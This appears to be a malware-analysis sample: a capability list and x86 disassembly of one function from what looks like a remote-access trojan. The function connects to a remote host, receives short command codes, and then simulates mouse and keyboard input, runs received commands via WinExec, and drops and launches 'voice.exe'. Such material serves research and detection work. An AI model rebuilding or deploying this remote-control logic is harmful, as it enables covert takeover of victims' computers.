Function at 0x407384
Capabilities:
Act as tcp client
Capture webcam image
Check for foreground window switch
Connect socket
Connect tcp socket
Connect udp socket
Create a process with modified i/o handles and window
Create process on windows
Create process suspended
Create tcp socket
Create thread
Create udp socket
Get socket status
Hide graphical window
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Resume thread
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xfffff96c
push esi
push edi
mov eax, 0x440edc
call fcn.0040eaa0
push 1
call sub.USER32.DLL_GetSystemMetrics
mov dword [0x448ca0], eax
push 0
call sub.USER32.DLL_GetSystemMetrics
mov dword [0x448ca4], eax
push 0
push 0
push 0
lea edx, [ebp - 0x458]
push edx
call fcn.00403056
add esp, 0x10
push 0
lea ecx, [ebp - 0x458]
push ecx
push 0x447a84
call sub.GDIPLUS.DLL_GdiplusStartup
push 0x44035e
call fcn.00411930
pop ecx
call fcn.004070d0
push 0x1f4
push 0
push 0x437cc8
call fcn.0040e714
add esp, 0xc
push dword [0x44884c]
call sub.USER32.DLL_DestroyWindow
push 0x440362
call fcn.00411930
pop ecx
xor eax, eax
mov dword [0x44884c], eax
xor edx, edx
mov dword [0x447a70], edx
xor ecx, ecx
mov dword [0x437c90], ecx
xor eax, eax
mov dword [0x437c74], eax
call fcn.004051a8
cmp al, 1
je 0x407455
xor eax, eax
mov edx, dword [ebp - 0x35c]
mov dword fs:[0], edx
jmp 0x409da1
push 0xc8
push 0
push 0x447814
call fcn.0040e714
add esp, 0xc
push 0x447814
push dword [ebp + 0xc]
call fcn.00406308
add esp, 8
mov word [ebp - 0x35e], 0x101
lea ecx, [ebp - 0x5e8]
push ecx
mov ax, word [ebp - 0x35e]
push eax
call sub.WSOCK32.DLL_WSAStartup
push 0x447814
call sub.WSOCK32.DLL_gethostbyname
mov dword [ebp - 0x368], eax
cmp dword [ebp - 0x368], 0
jne 0x4074ce
call sub.WSOCK32.DLL_WSAGetLastError
mov dword [ebp - 0x364], eax
xor eax, eax
mov edx, dword [ebp - 0x35c]
mov dword fs:[0], edx
jmp 0x409da1
push 6
push 1
push 2
call sub.WSOCK32.DLL_socket
mov dword [ebp - 0x36c], eax
cmp dword [ebp - 0x36c], 0xffffffff
jne 0x407507
call sub.WSOCK32.DLL_WSAGetLastError
mov dword [ebp - 0x364], eax
xor eax, eax
mov edx, dword [ebp - 0x35c]
mov dword fs:[0], edx
jmp 0x409da1
mov word [ebp - 0x5f8], 2
mov ecx, dword [ebp - 0x368]
mov eax, dword [ecx + 0xc]
mov edx, dword [eax]
mov ecx, dword [edx]
mov dword [ebp - 0x5f4], ecx
mov ax, word [0x437ecc]
push eax
call sub.WSOCK32.DLL_htons
mov word [ebp - 0x5f6], ax
push 0x10
lea edx, [ebp - 0x5f8]
push edx
push dword [ebp - 0x36c]
call sub.WSOCK32.DLL_connect
mov dword [ebp - 0x364], eax
cmp dword [ebp - 0x364], 0xffffffff
jne 0x407583
call sub.WSOCK32.DLL_WSAGetLastError
mov dword [ebp - 0x364], eax
push dword [ebp - 0x36c]
call sub.WSOCK32.DLL_closesocket
xor eax, eax
mov edx, dword [ebp - 0x35c]
mov dword fs:[0], edx
jmp 0x409da1
mov word [ebp - 0x34c], 8
lea ecx, [ebp - 0x18]
push ecx
call fcn.00406900
pop ecx
lea eax, [ebp - 0x18]
push eax
add dword [ebp - 0x340], 4
call fcn.00403012
pop ecx
push eax
call fcn.004103f8
pop ecx
sub dword [ebp - 0x340], 4
push 2
lea edx, [ebp - 0x18]
push edx
call fcn.00402eed
add esp, 8
push 0
call fcn.00407154
push eax
call fcn.0040e824
pop ecx
push eax
call fcn.00407154
push eax
push dword [ebp - 0x36c]
call sub.WSOCK32.DLL_send
test eax, eax
jne 0x407606
push dword [ebp - 0x36c]
call sub.WSOCK32.DLL_closesocket
xor eax, eax
mov edx, dword [ebp - 0x35c]
mov dword fs:[0], edx
jmp 0x409da1
push 0x64
push 0
push 0x448c3c
call fcn.0040e714
add esp, 0xc
push dword [0x437cc4]
push 0x448c3c
call fcn.0040e7b8
add esp, 8
push dword [0x437cc4]
call fcn.0040e824
pop ecx
push eax
push 0
push dword [0x437cc4]
call fcn.0040e714
add esp, 0xc
xor ecx, ecx
mov dword [0x4476cc], ecx
push dword [0x437cc0]
call fcn.0040e824
pop ecx
push eax
push 0
push dword [0x437cc0]
call fcn.0040e714
add esp, 0xc
mov dword [ebp - 0x370], 1
lea eax, [ebp - 0x370]
push eax
push 0x8004667e
push dword [ebp - 0x36c]
call sub.WSOCK32.DLL_ioctlsocket
call fcn.00406998
mov byte [ebp - 0x371], al
xor edx, edx
mov dword [ebp - 0x378], edx
xor ecx, ecx
mov dword [0x437c8c], ecx
xor eax, eax
mov dword [0x437c90], eax
xor edx, edx
mov dword [ebp - 0x37c], edx
xor ecx, ecx
mov dword [ebp - 0x380], ecx
xor eax, eax
mov dword [ebp - 0x384], eax
push 0x400
push 0
lea edx, [ebp - 0x9e0]
push edx
call fcn.0040e714
add esp, 0xc
push 0x400
push 0
lea ecx, [ebp - 0xdc8]
push ecx
call fcn.0040e714
add esp, 0xc
call fcn.004051a8
cmp al, 1
je 0x40771b
push dword [ebp - 0x36c]
call sub.WSOCK32.DLL_closesocket
xor eax, eax
mov edx, dword [ebp - 0x35c]
mov dword fs:[0], edx
jmp 0x409da1
xor ecx, ecx
mov dword [ebp - 0xecc], ecx
xor eax, eax
mov dword [ebp - 0x390], eax
jmp 0x407748
mov edx, dword [ebp - 0x390]
mov ecx, dword [ebp + edx*4 - 0xec8]
cmp ecx, dword [ebp - 0x36c]
je 0x407756
inc dword [ebp - 0x390]
mov eax, dword [ebp - 0x390]
cmp eax, dword [ebp - 0xecc]
jb 0x40772d
mov edx, dword [ebp - 0x390]
cmp edx, dword [ebp - 0xecc]
jne 0x407786
cmp dword [ebp - 0xecc], 0x40
jae 0x407786
mov ecx, dword [ebp - 0x390]
mov eax, dword [ebp - 0x36c]
mov dword [ebp + ecx*4 - 0xec8], eax
inc dword [ebp - 0xecc]
xor edx, edx
mov dword [ebp - 0x398], edx
xor ecx, ecx
mov dword [ebp - 0x394], ecx
inc dword [ebp - 0x378]
cmp dword [ebp - 0x378], 0x5dc
jle 0x407a5c
xor eax, eax
mov dword [ebp - 0x3a4], eax
mov dword [ebp - 0x3a0], 5
xor edx, edx
mov dword [ebp - 0x39c], edx
xor ecx, ecx
mov dword [ebp - 0xfd0], ecx
xor eax, eax
mov dword [ebp - 0x3a8], eax
jmp 0x4077f3
mov edx, dword [ebp - 0x3a8]
mov ecx, dword [ebp + edx*4 - 0xfcc]
cmp ecx, dword [ebp - 0x36c]
je 0x407801
inc dword [ebp - 0x3a8]
mov eax, dword [ebp - 0x3a8]
cmp eax, dword [ebp - 0xfd0]
jb 0x4077d8
mov edx, dword [ebp - 0x3a8]
cmp edx, dword [ebp - 0xfd0]
jne 0x407831
cmp dword [ebp - 0xfd0], 0x40
jae 0x407831
mov ecx, dword [ebp - 0x3a8]
mov eax, dword [ebp - 0x36c]
mov dword [ebp + ecx*4 - 0xfcc], eax
inc dword [ebp - 0xfd0]
lea edx, [ebp - 0x3a0]
push edx
push 0
push 0
lea ecx, [ebp - 0xfd0]
push ecx
mov eax, dword [ebp - 0x36c]
inc eax
push eax
call sub.WSOCK32.DLL_select
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 0
jg 0x407916
cmp dword [ebp - 0x3a4], 0
jle 0x407886
lea edx, [ebp - 0xfd0]
push edx
push dword [ebp - 0x36c]
call sub.WSOCK32.DLL___WSAFDIsSet
test eax, eax
jne 0x407916
cmp dword [ebp - 0x3a4], 0
jne 0x407916
inc dword [ebp - 0x388]
cmp dword [ebp - 0x388], 3
jle 0x407916
push dword [0x44884c]
call sub.USER32.DLL_IsWindow
test eax, eax
je 0x4078c5
push 0
push 0
push 0x40b
push dword [0x44884c]
call sub.USER32.DLL_SendMessageA
push dword [0x44884c]
call sub.USER32.DLL_DestroyWindow
xor ecx, ecx
mov dword [0x44884c], ecx
xor eax, eax
mov dword [0x437c90], eax
xor edx, edx
mov dword [0x437c8c], edx
xor ecx, ecx
mov dword [0x437c7c], ecx
xor eax, eax
mov dword [ebp - 0x378], eax
push dword [ebp - 0x36c]
call sub.WSOCK32.DLL_closesocket
xor eax, eax
mov edx, dword [ebp - 0x35c]
mov dword fs:[0], edx
jmp 0x409da1
xor ecx, ecx
mov dword [ebp - 0x378], ecx
push 0
push 1
push 0x44028d
push dword [ebp - 0x36c]
call sub.WSOCK32.DLL_recv
mov dword [ebp - 0x3ac], eax
call sub.WSOCK32.DLL_WSAGetLastError
mov dword [ebp - 0x3b0], eax
cmp dword [ebp - 0x3b0], 0x2733
je 0x4079cb
cmp dword [ebp - 0x3b0], 0
je 0x4079cb
push dword [0x44884c]
call sub.USER32.DLL_IsWindow
test eax, eax
je 0x40797b
push 0
push 0
push 0x40b
push dword [0x44884c]
call sub.USER32.DLL_SendMessageA
push dword [0x44884c]
call sub.USER32.DLL_DestroyWindow
xor eax, eax
mov dword [0x44884c], eax
xor edx, edx
mov dword [0x437c90], edx
xor ecx, ecx
mov dword [0x437c8c], ecx
xor eax, eax
mov dword [0x437c7c], eax
xor edx, edx
mov dword [ebp - 0x378], edx
push dword [ebp - 0x36c]
call sub.WSOCK32.DLL_closesocket
xor eax, eax
mov edx, dword [ebp - 0x35c]
mov dword fs:[0], edx
jmp 0x409da1
cmp dword [ebp - 0x3b0], 0
jne 0x407a5c
cmp dword [ebp - 0x3ac], 0
jne 0x407a5c
xor ecx, ecx
mov dword [ebp - 0x378], ecx
push dword [0x44884c]
call sub.USER32.DLL_IsWindow
test eax, eax
je 0x407a0c
push 0
push 0
push 0x40b
push dword [0x44884c]
call sub.USER32.DLL_SendMessageA
push dword [0x44884c]
call sub.USER32.DLL_DestroyWindow
xor eax, eax
mov dword [0x44884c], eax
xor edx, edx
mov dword [0x437c90], edx
xor ecx, ecx
mov dword [0x437c8c], ecx
xor eax, eax
mov dword [0x437c7c], eax
xor edx, edx
mov dword [ebp - 0x378], edx
push dword [ebp - 0x36c]
call sub.WSOCK32.DLL_closesocket
xor eax, eax
mov edx, dword [ebp - 0x35c]
mov dword fs:[0], edx
jmp 0x409da1
xor ecx, ecx
mov dword [ebp - 0x3b4], ecx
lea eax, [ebp - 0x398]
push eax
push 0
push 0
lea edx, [ebp - 0xecc]
push edx
push dword [ebp - 0x36c]
call sub.WSOCK32.DLL_select
dec eax
jne 0x407aa3
push 0
push 0x400
lea ecx, [ebp - 0x9e0]
push ecx
push dword [ebp - 0x36c]
call sub.WSOCK32.DLL_recv
mov dword [ebp - 0x3bc], eax
movsx eax, byte [ebp - 0x9e0]
cmp eax, 0x6d
jne 0x407be8
movsx edx, byte [ebp - 0x9df]
cmp edx, 0x50
jne 0x407be8
movsx ecx, byte [ebp - 0x9de]
cmp ecx, 0x75
jne 0x407be8
push str.Doble_click__n
call fcn.00411930
pop ecx
push 0x64
push 0
push 0x448b6c
call fcn.0040e714
add esp, 0xc
push 0x64
push 0
push 0x448aa4
call fcn.0040e714
add esp, 0xc
push 0x7e8
push 0x440374
push 0x44859c
call fcn.0040c010
add esp, 0xc
push 0x7e8
push 0x440378
push 0x44859c
call fcn.0040c1d0
add esp, 0xc
push 0x448aa4
call fcn.004037a4
pop ecx
push eax
push 0x448b6c
call fcn.004037a4
pop ecx
push eax
call sub.USER32.DLL_SetCursorPos
push 0
push 0
push 0x448b6c
call fcn.004037a4
pop ecx
push eax
push 0x448aa4
call fcn.004037a4
pop ecx
push eax
push 2
call sub.USER32.DLL_mouse_event
push 0
push 0
push 0x448b6c
call fcn.004037a4
pop ecx
push eax
push 0x448aa4
call fcn.004037a4
pop ecx
push eax
push 4
call sub.USER32.DLL_mouse_event
push 0x64
call sub.KERNEL32.DLL_Sleep
push 0
push 0
push 0x448b6c
call fcn.004037a4
pop ecx
push eax
push 0x448aa4
call fcn.004037a4
pop ecx
push eax
push 2
call sub.USER32.DLL_mouse_event
push 0
push 0
push 0x448b6c
call fcn.004037a4
pop ecx
push eax
push 0x448aa4
call fcn.004037a4
pop ecx
push eax
push 4
call sub.USER32.DLL_mouse_event
mov dword [0x437ca8], 1
movsx eax, byte [ebp - 0x9e0]
cmp eax, 0x62
jne 0x407c2c
movsx edx, byte [ebp - 0x9df]
cmp edx, 0x41
jne 0x407c2c
movsx ecx, byte [ebp - 0x9de]
cmp ecx, 0x6b
jne 0x407c2c
push 0
push 0
push 0x9c
push 8
call sub.USER32.DLL_keybd_event
push 0
push 2
push 0x9c
push 8
call sub.USER32.DLL_keybd_event
movsx eax, byte [ebp - 0x9e0]
cmp eax, 0x73
jne 0x407e7f
movsx edx, byte [ebp - 0x9df]
cmp edx, 0x54
jne 0x407e7f
movsx ecx, byte [ebp - 0x9de]
cmp ecx, 0x63
jne 0x407e7f
xor eax, eax
mov dword [ebp - 0x3c0], eax
push str.texto_n
call fcn.00411930
pop ecx
xor edx, edx
mov dword [ebp - 0x3c4], edx
jmp 0x407cd8
movsx ecx, byte [ebp - 0x9e0]
cmp ecx, 0x24
jne 0x407cd2
xor eax, eax
mov dword [ebp - 0x3c8], eax
jmp 0x407c95
inc dword [ebp - 0x3c8]
mov edx, dword [ebp - 0x3c8]
mov cl, byte [ebp + edx - 0x9dc]
mov eax, dword [ebp - 0x3c8]
mov byte [ebp + eax - 0x9e0], cl
test cl, cl
jne 0x407c8f
push 0
lea edx, [ebp - 0x9e0]
push edx
call sub.KERNEL32.DLL_WinExec
mov byte [ebp - 0x9e0], 0
mov dword [ebp - 0x3c0], 1
inc dword [ebp - 0x3c4]
mov eax, dword [ebp - 0x3c4]
mov dl, byte [ebp + eax - 0x9dd]
mov ecx, dword [ebp - 0x3c4]
mov byte [ebp + ecx - 0x9e0], dl
test dl, dl
jne 0x407c79
cmp dword [ebp - 0x3c0], 0
jne 0x407e7f
lea eax, [ebp - 0x9e0]
mov dword [ebp - 0x3cc], eax
mov word [ebp - 0x34c], 0x20
lea ecx, [ebp - 0x50]
push ecx
call fcn.00402f53
pop ecx
push eax
inc dword [ebp - 0x340]
push dword [ebp - 0x3cc]
lea eax, [ebp - 0x30]
push eax
call fcn.00402a94
add esp, 0xc
add dword [ebp - 0x340], 4
dec dword [ebp - 0x340]
push 2
lea edx, [ebp - 0x50]
push edx
call fcn.00402f7a
add esp, 8
mov word [ebp - 0x34c], 0x14
mov word [ebp - 0x34c], 0x2c
lea ecx, [ebp - 0x30]
push ecx
call fcn.00403279
pop ecx
push eax
push 0
lea eax, [ebp - 0x30]
push eax
lea edx, [ebp - 0x48]
push edx
call fcn.004037b2
add esp, 0x10
add dword [ebp - 0x340], 4
mov word [ebp - 0x34c], 0x14
call sub.USER32.DLL_GetDesktopWindow
mov dword [ebp - 0x3d0], eax
call sub.USER32.DLL_CloseClipboard
lea ecx, [ebp - 0x48]
push ecx
push dword [ebp - 0x3d0]
call fcn.00406bb0
add esp, 8
mov dword [ebp - 0x1004], 1
push 0
push 0
push 0x9c
push 0x11
call sub.USER32.DLL_keybd_event
mov word [ebp - 0xffe], 0
xor eax, eax
mov dword [ebp - 0xff8], eax
xor edx, edx
mov dword [ebp - 0xff4], edx
mov word [ebp - 0x1000], 0x56
xor ecx, ecx
mov dword [ebp - 0xffc], ecx
push 0x1c
lea eax, [ebp - 0x1004]
push eax
push 1
call sub.USER32.DLL_SendInput
push 0
push 2
push 0x9c
push 0x11
call sub.USER32.DLL_keybd_event
mov dword [ebp - 0xffc], 2
push 0
push 0
push 0x9c
push 0xd
call sub.USER32.DLL_keybd_event
push 0
push 2
push 0x9c
push 0xd
call sub.USER32.DLL_keybd_event
mov byte [ebp - 0x9e0], 0
sub dword [ebp - 0x340], 4
push 2
lea edx, [ebp - 0x48]
push edx
call fcn.00402eed
add esp, 8
sub dword [ebp - 0x340], 4
push 2
lea ecx, [ebp - 0x30]
push ecx
call fcn.00402eed
add esp, 8
mov word [ebp - 0x34c], 0
movsx eax, byte [ebp - 0x9e0]
cmp eax, 0x65
jne 0x407ec3
movsx edx, byte [ebp - 0x9df]
cmp edx, 0x53
jne 0x407ec3
movsx ecx, byte [ebp - 0x9de]
cmp ecx, 0x63
jne 0x407ec3
push 0
push 0
push 0x9c
push 0x1b
call sub.USER32.DLL_keybd_event
push 0
push 2
push 0x9c
push 0x1b
call sub.USER32.DLL_keybd_event
movsx eax, byte [ebp - 0x9e0]
cmp eax, 0x6b
jne 0x407f1b
movsx edx, byte [ebp - 0x9df]
cmp edx, 0x50
jne 0x407f1b
movsx ecx, byte [ebp - 0x9de]
cmp ecx, 0x73
jne 0x407f1b
push str.initialize_chat_n
call fcn.00411930
pop ecx
lea eax, [ebp - 0x3d4]
push eax
push 4
push 0
push 0x40b398
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov dword [0x44885c], eax
push dword [0x44885c]
call sub.KERNEL32.DLL_ResumeThread
cmp dword [0x437c90], 1
jne 0x407f29
call fcn.0040bd3c
movsx edx, byte [ebp - 0x9e0]
cmp edx, 0x70
jne 0x407f6d
movsx ecx, byte [ebp - 0x9df]
cmp ecx, 0x44
jne 0x407f6d
movsx eax, byte [ebp - 0x9de]
cmp eax, 0x77
jne 0x407f6d
call sub.USER32.DLL_GetForegroundWindow
mov dword [ebp - 0x3d8], eax
push 0
push 0xfffffe20
push 0
push 0
push 0x800
call sub.USER32.DLL_mouse_event
movsx edx, byte [ebp - 0x9e0]
cmp edx, 0x70
jne 0x407fb1
movsx ecx, byte [ebp - 0x9df]
cmp ecx, 0x55
jne 0x407fb1
movsx eax, byte [ebp - 0x9de]
cmp eax, 0x70
jne 0x407fb1
call sub.USER32.DLL_GetForegroundWindow
mov dword [ebp - 0x3dc], eax
push 0
push 0x1e0
push 0
push 0
push 0x800
call sub.USER32.DLL_mouse_event
movsx edx, byte [ebp - 0x9e0]
cmp edx, 0x61
jne 0x407fda
movsx ecx, byte [ebp - 0x9df]
cmp ecx, 0x58
jne 0x407fda
movsx eax, byte [ebp - 0x9de]
cmp eax, 0x6a
jne 0x407fda
call fcn.00405284
movsx edx, byte [ebp - 0x9e0]
cmp edx, 0x61
jne 0x40800e
movsx ecx, byte [ebp - 0x9df]
cmp ecx, 0x54
jne 0x40800e
movsx eax, byte [ebp - 0x9de]
cmp eax, 0x6d
jne 0x40800e
xor edx, edx
mov dword [0x437c8c], edx
xor ecx, ecx
mov dword [0x437c7c], ecx
movsx eax, byte [ebp - 0x9e0]
cmp eax, 0x61
jne 0x4080f8
movsx edx, byte [ebp - 0x9df]
cmp edx, 0x54
jne 0x4080f8
movsx ecx, byte [ebp - 0x9de]
cmp ecx, 0x77
jne 0x4080f8
xor eax, eax
mov dword [0x437c90], eax
push dword [0x44884c]
call sub.USER32.DLL_IsWindow
test eax, eax
je 0x408068
push 0
push 0
push 0x432
push dword [0x44884c]
call sub.USER32.DLL_SendMessageA
push dword [0x44884c]
call sub.USER32.DLL_DestroyWindow
xor edx, edx
mov dword [0x44884c], edx
push dword [0x44884c]
call sub.USER32.DLL_IsWindow
test eax, eax
je 0x40809e
push 0
push 0
push 0x40b
push dword [0x44884c]
call sub.USER32.DLL_SendMessageA
push dword [0x44884c]
call sub.USER32.DLL_IsWindow
test eax, eax
je 0x4080c1
push 0
push 0
push 0x40b
push dword [0x44884c]
call sub.USER32.DLL_SendMessageA
push dword [0x44884c]
call sub.USER32.DLL_IsWindow
test eax, eax
je 0x4080e4
push 0
push 0
push 0x40b
push dword [0x44884c]
call sub.USER32.DLL_SendMessageA
push 0
push 3
push 0x440394
push dword [ebp - 0x36c]
call sub.WSOCK32.DLL_send
movsx ecx, byte [ebp - 0x9e0]
cmp ecx, 0x73
jne 0x4082e0
movsx eax, byte [ebp - 0x9df]
cmp eax, 0x54
jne 0x4082e0
movsx edx, byte [ebp - 0x9de]
cmp edx, 0x79
jne 0x4082e0
push 0xc8
push 0
lea ecx, [ebp - 0x10cc]
push ecx
call fcn.0040e714
add esp, 0xc
xor eax, eax
mov dword [ebp - 0x3e0], eax
jmp 0x40815a
lea edx, [ebp - 0x9e0]
mov dword [ebp - 0x3e4], edx
inc dword [ebp - 0x3e0]
mov ecx, dword [ebp - 0x3e0]
mov al, byte [ebp + ecx - 0x9dd]
mov edx, dword [ebp - 0x3e0]
mov byte [ebp + edx - 0x9e0], al
test al, al
jne 0x408148
mov word [ebp - 0x34c], 0x44
lea edx, [ebp - 0x88]
push edx
call fcn.00402f53
pop ecx
push eax
inc dword [ebp - 0x340]
push dword [ebp - 0x3e4]
lea ecx, [ebp - 0x68]
push ecx
call fcn.00402a94
add esp, 0xc
add dword [ebp - 0x340], 4
dec dword [ebp - 0x340]
push 2
lea eax, [ebp - 0x88]
push eax
call fcn.00402f7a
add esp, 8
mov word [ebp - 0x34c], 0x38
mov word [ebp - 0x34c], 0x50
lea edx, [ebp - 0x68]
push edx
call fcn.00403279
pop ecx
push eax
push 0
lea ecx, [ebp - 0x68]
push ecx
lea eax, [ebp - 0x80]
push eax
call fcn.004037b2
add esp, 0x10
add dword [ebp - 0x340], 4
mov word [ebp - 0x34c], 0x38
push str.voice.exe
call fcn.004068c0
pop ecx
test eax, eax
jne 0x408261
push 0x44013a
push str.voice.exe
call fcn.00410af8
add esp, 8
mov dword [ebp - 0x3e8], eax
test eax, eax
jne 0x40823b
push dword [ebp - 0x3e8]
call fcn.00410650
pop ecx
push dword [ebp - 0x3e8]
push 1
push 0x3800
push 0x42ec68
call fcn.00410fac
add esp, 0x10
push dword [ebp - 0x3e8]
call fcn.00410650
pop ecx
push str.voice
lea edx, [ebp - 0x10cc]
push edx
call fcn.0040e7b8
add esp, 8
lea ecx, [ebp - 0x9e0]
push ecx
lea eax, [ebp - 0x10cc]
push eax
call fcn.0040e7b8
add esp, 8
lea edx, [ebp - 0x10cc]
push edx
push str._n__s__n
call fcn.00411930
add esp, 8
push 0
lea ecx, [ebp - 0x10cc]
push ecx
call sub.KERNEL32.DLL_WinExec
sub dword [ebp - 0x340], 4
push 2
lea eax, [ebp - 0x80]
push eax
call fcn.00402eed
add esp, 8
sub dword [ebp - 0x340], 4
push 2
lea edx, [ebp - 0x68]
push edx
call fcn.00402eed
add esp, 8
mov word [ebp - 0x34c], 0
movsx ecx, byte [ebp - 0x9e0]
cmp ecx, 0x61
jne 0x408397
movsx eax, byte [ebp - 0x9df]
cmp eax, 0x53
jne 0x408397
movsx edx, byte [ebp - 0x9de]
cmp edx, 0x65
jne 0x408397
movsx ecx, byte [ebp - 0x9dd]
cmp ecx, 0x78
jne 0x408397
push 0xc8
push 0
lea eax, [ebp - 0x11ac]
push eax
call fcn.0040e714
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x3ec], edx
jmp 0x408342
inc dword [ebp - 0x3ec]
mov ecx, dword [ebp - 0x3ec]
mov al, byte [ebp + ecx - 0x9dc]
mov edx, dword [ebp - 0x3ec]
mov byte [ebp + edx - 0x9e0], al
test al, al
jne 0x40833c
push str.start
lea edx, [ebp - 0x11ac]
push edx
call fcn.0040e7b8
add esp, 8
lea ecx, [ebp - 0x9e0]
push ecx
lea eax, [ebp - 0x11ac]
push eax
call fcn.0040e7b8
add esp, 8
lea edx, [ebp - 0x11ac]
push edx
call fcn.00416ce0
pop ecx
movsx ecx, byte [ebp - 0x9e0]
cmp ecx, 0x6d
jne 0x4084bc
movsx eax, byte [ebp - 0x9df]
cmp eax, 0x50
jne 0x4084bc
movsx edx, byte [ebp - 0x9de]
cmp edx, 0x78
jne 0x4084bc
push str.boton_izq_presionado__n
call fcn.00411930
pop ecx
mov dword [0x437c94], 1
push 0x64
push 0
push 0x448aa4
call fcn.0040e714
add esp, 0xc
push 0x64
push 0
push 0x448b6c
call fcn.0040e714
add esp, 0xc
push 0x7e8
push 0x440374
push 0x44859c
call fcn.0040c010
add esp, 0xc
push 0x7e8
push 0x440378
push 0x44859c
call fcn.0040c1d0
add esp, 0xc
push 0x448aa4
call fcn.004037a4
pop ecx
push eax
push 0x448b6c
call fcn.004037a4
pop ecx
push eax
call sub.USER32.DLL_SetCursorPos
mov esi, 0x4382dc
lea edi, [ebp - 0x11c8]
mov ecx, 7
rep movsd dword es:[edi], dword [esi]
xor eax, eax
mov dword [ebp - 0x11c8], eax
mov dword [ebp - 0x11b8], 2
push 0x1c
lea edx, [ebp - 0x11c8]
push edx
push 1
call sub.USER32.DLL_SendInput
push 0x1c
push 0
lea ecx, [ebp - 0x11c8]
push ecx
call fcn.0040e714
add esp, 0xc
xor eax, eax
mov dword [ebp - 0x11c8], eax
mov dword [ebp - 0x11b8], 4
push 0x1c
lea edx, [ebp - 0x11c8]
push edx
push 1
call sub.USER32.DLL_SendInput
mov dword [0x437ca8], 1
movsx ecx, byte [ebp - 0x9e0]
cmp ecx, 0x6d
jne 0x4085a9
movsx eax, byte [ebp - 0x9df]
cmp eax, 0x50
jne 0x4085a9
movsx edx, byte [ebp - 0x9de]
cmp edx, 0x6c
jne 0x4085a9
push 0x64
push 0
push 0x448aa4
call fcn.0040e714
add esp, 0xc
push 0x64
push 0
push 0x448b6c
call fcn.0040e714
add esp, 0xc
push 0x7e8
push 0x440374
push 0x44859c
call fcn.0040c010
add esp, 0xc
push 0x7e8
push 0x440378
push 0x44859c
call fcn.0040c1d0
add esp, 0xc
push 0x448aa4
call fcn.004037a4
pop ecx
push eax
push 0x448b6c
call fcn.004037a4
pop ecx
push eax
call sub.USER32.DLL_SetCursorPos
push 0
push 0
push 0x448aa4
call fcn.004037a4
pop ecx
push eax
push 0x448b6c
call fcn.004037a4
pop ecx
push eax
push 8
call sub.USER32.DLL_mouse_event
push 0
push 0
push 0x448aa4
call fcn.004037a4
pop ecx
push eax
push 0x448b6c
call fcn.004037a4
pop ecx
push eax
push 0x10
call sub.USER32.DLL_mouse_event
mov dword [0x437ca8], 1
movsx ecx, byte [ebp - 0x9e0]
cmp ecx, 0x77
jne 0x408a7a
movsx eax, byte [ebp - 0x9df]
cmp eax, 0x58
jne 0x408a7a
movsx edx, byte [ebp - 0x9de]
cmp edx, 0x63
jne 0x408a7a
movsx ecx, byte [ebp - 0x9dd]
cmp ecx, 0x31
jne 0x408a7a
push 0x64
push 0
lea eax, [ebp - 0x122c]
push eax
call fcn.0040e714
add esp, 0xc
mov word [ebp - 0x34c], 0x5c
lea edx, [ebp - 0xa8]
push edx
call fcn.00402f53
pop ecx
push eax
inc dword [ebp - 0x340]
push 0x447814
lea ecx, [ebp - 0xc0]
push ecx
call fcn.00402a94
add esp, 0xc
add dword [ebp - 0x340], 4
lea eax, [ebp - 0xc0]
push eax
lea edx, [ebp - 0xd8]
push edx
call fcn.0040662c
add esp, 8
lea ecx, [ebp - 0xd8]
push ecx
add dword [ebp - 0x340], 4
call fcn.00403012
pop ecx
push eax
lea eax, [ebp - 0x122c]
push eax
call fcn.0040e7b8
add esp, 8
sub dword [ebp - 0x340], 4
push 2
lea edx, [ebp - 0xd8]
push edx
call fcn.00402eed
add esp, 8
sub dword [ebp - 0x340], 4
push 2
lea ecx, [ebp - 0xc0]
push ecx
call fcn.00402eed
add esp, 8
dec dword [ebp - 0x340]
push 2
lea eax, [ebp - 0xa8]
push eax
call fcn.00402f7a
add esp, 8
push 0x64
push 0
lea edx, [ebp - 0x1290]
push edx
call fcn.0040e714
add esp, 0xc
mov word [ebp - 0x34c], 0x74
lea ecx, [ebp - 0xe0]
push ecx
call fcn.00402f53
pop ecx
push eax
inc dword [ebp - 0x340]
add esp, 0xffffffe8
mov word [ebp - 0x34c], 0x80
lea eax, [ebp - 0xe8]
push eax
call fcn.00402f53
pop ecx
push eax
inc dword [ebp - 0x340]
push 0x4489a4
lea edx, [esp + 8]
push edx
call fcn.00402a94
add esp, 0xc
add dword [ebp - 0x340], 4
lea ecx, [ebp - 0x100]
push ecx
mov word [ebp - 0x34c], 0x74
add dword [ebp - 0x340], 0xfffffffc
call fcn.00406550
add esp, 0x1c
lea eax, [ebp - 0x100]
push eax
add dword [ebp - 0x340], 4
call fcn.00403012
pop ecx
push eax
lea edx, [ebp - 0xa0]
push edx
call fcn.00402a94
add esp, 0xc
add dword [ebp - 0x340], 4
dec dword [ebp - 0x340]
push 2
lea ecx, [ebp - 0xe0]
push ecx
call fcn.00402f7a
add esp, 8
sub dword [ebp - 0x340], 4
push 2
lea eax, [ebp - 0x100]
push eax
call fcn.00402eed
add esp, 8
dec dword [ebp - 0x340]
push 2
lea edx, [ebp - 0xe8]
push edx
call fcn.00402f7a
add esp, 8
mov word [ebp - 0x34c], 0x68
push 0
lea ecx, [ebp - 0xa0]
push ecx
call fcn.0040301c
add esp, 8
mov dl, byte [0x4489a4]
mov byte [eax], dl
push 0
lea eax, [ebp - 0xa0]
push eax
call fcn.0040301c
add esp, 8
mov dword [ebp - 0x3f0], eax
push 0x4403ce
lea ecx, [ebp - 0x1290]
push ecx
call fcn.0040e7b8
add esp, 8
push dword [ebp - 0x3f0]
lea eax, [ebp - 0x1290]
push eax
call fcn.0040e7b8
add esp, 8
push 0x7e8
lea edx, [ebp - 0x1290]
push edx
lea ecx, [ebp - 0x122c]
push ecx
call fcn.004063bc
add esp, 0xc
push 0x64
call sub.KERNEL32.DLL_Sleep
xor eax, eax
mov dword [ebp - 0x3f4], eax
xor edx, edx
mov dword [ebp - 0x3f8], edx
lea ecx, [ebp - 0x3f8]
push ecx
lea eax, [ebp - 0x3f4]
push eax
call fcn.00406b80
add esp, 8
mov edx, dword [ebp - 0x3f8]
mov dword [ebp - 0x3fc], edx
push 0xa
call fcn.0040c594
pop ecx
mov dword [ebp - 0x400], eax
push 0xa
push dword [ebp - 0x400]
push dword [ebp - 0x3fc]
call fcn.00413894
add esp, 0xc
